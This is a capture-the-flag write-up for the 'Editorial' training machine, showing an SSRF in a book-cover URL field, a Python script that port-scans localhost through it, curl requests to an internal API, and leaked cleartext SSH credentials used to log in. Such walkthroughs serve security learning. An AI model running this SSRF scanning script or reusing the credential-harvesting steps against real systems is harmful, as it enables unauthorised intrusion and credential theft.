Post

Editorial

A publishing site's book-cover URL field is fetched server-side with no SSRF protection, letting us reach an internal API on localhost:5000 whose authors endpoint leaks plaintext SSH credentials for the user flag.

Editorial

Overview

Editorial is an easy-difficulty Linux box built around a single server-side request forgery (SSRF) flaw. The “Publish with us” form lets you submit a book cover by URL, and the server dutifully fetches whatever URL you give it — including services bound only to localhost. Fuzzing the loopback interface uncovers an internal API on port 5000, and one of its endpoints returns a welcome-mail template with cleartext SSH credentials. This post covers recon through the user flag.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

Classic SSRF box: an unprotected book-cover fetch is scripted to port-scan localhost and pull cleartext SSH creds from an internal API — realistic, enumeration-heavy, no CVE.

Recon

PortServiceNotes
22/tcpOpenSSH 8.9p1Ubuntu
80/tcpnginx 1.18.0redirects to editorial.htb
1
nmap -sC -sV 10.10.11.20

Two ports. The web server redirects to a hostname, so add it to /etc/hosts:

1
echo "10.10.11.20  editorial.htb" | sudo tee -a /etc/hosts

Visiting http://editorial.htb shows a publishing company site. The navigation bar has a Publish with us page with a book-submission form — and one of its fields is a Cover URL.

Enumeration

The Cover URL field is the obvious SSRF candidate: the server fetches it to render a preview thumbnail. Point it at our own listener to confirm.

1
nc -lnvp 5555

Submit the form (or replay the POST /upload-cover request) with the cover URL set to http://<our-ip>:5555. The listener catches a callback from python-requests/2.25.1 — the server fetched our URL. SSRF confirmed.

Probing http://127.0.0.1:80 returns a .jpeg path. That gives us an oracle: ports with no useful service return a .jpeg, so we can fuzz every port and flag the one response that does not end in .jpeg.

1
2
3
4
5
6
7
8
#!/usr/bin/python3
import requests
for port in range(1, 65536):
    r = requests.post("http://editorial.htb/upload-cover",
                      files={"bookfile": ("x", b"")},
                      data={"bookurl": f"http://127.0.0.1:{port}"})
    if not r.text.strip().endswith(".jpeg"):
        print(port, "---", r.text)
1
5000 --- static/uploads/85389d97-3812-4851-b49e-1f843f356e45

Port 5000 is different — there’s an internal API listening on localhost.

Foothold

Set the cover URL to the API metadata endpoint and read the file the server saved:

1
2
# bookurl = http://127.0.0.1:5000/api/latest/metadata
curl http://editorial.htb/static/uploads/<returned-uuid> | jq

The JSON describes the API’s endpoints. The /api/latest/metadata/messages/authors endpoint looks promising — it claims to return the welcome message sent to new authors. Query it through the SSRF the same way:

1
2
# bookurl = http://127.0.0.1:5000/api/latest/metadata/messages/authors
curl http://editorial.htb/static/uploads/<returned-uuid> | jq
1
2
3
{
  "template_mail_message": "Welcome to the team! ... Your login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\n..."
}

Cleartext credentials for dev. They work over SSH:

1
2
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)

User flag

1
2
dev@editorial:~$ cat user.txt
[redacted]

Foothold complete. The path to root continues through credentials buried in a local Git repository and a GitPython sudo flaw (CVE-2022-24439) — but this post stops at user.

Privilege escalation is left as an exercise — this post ends at the user flag.

This post is licensed under CC BY 4.0 by the author.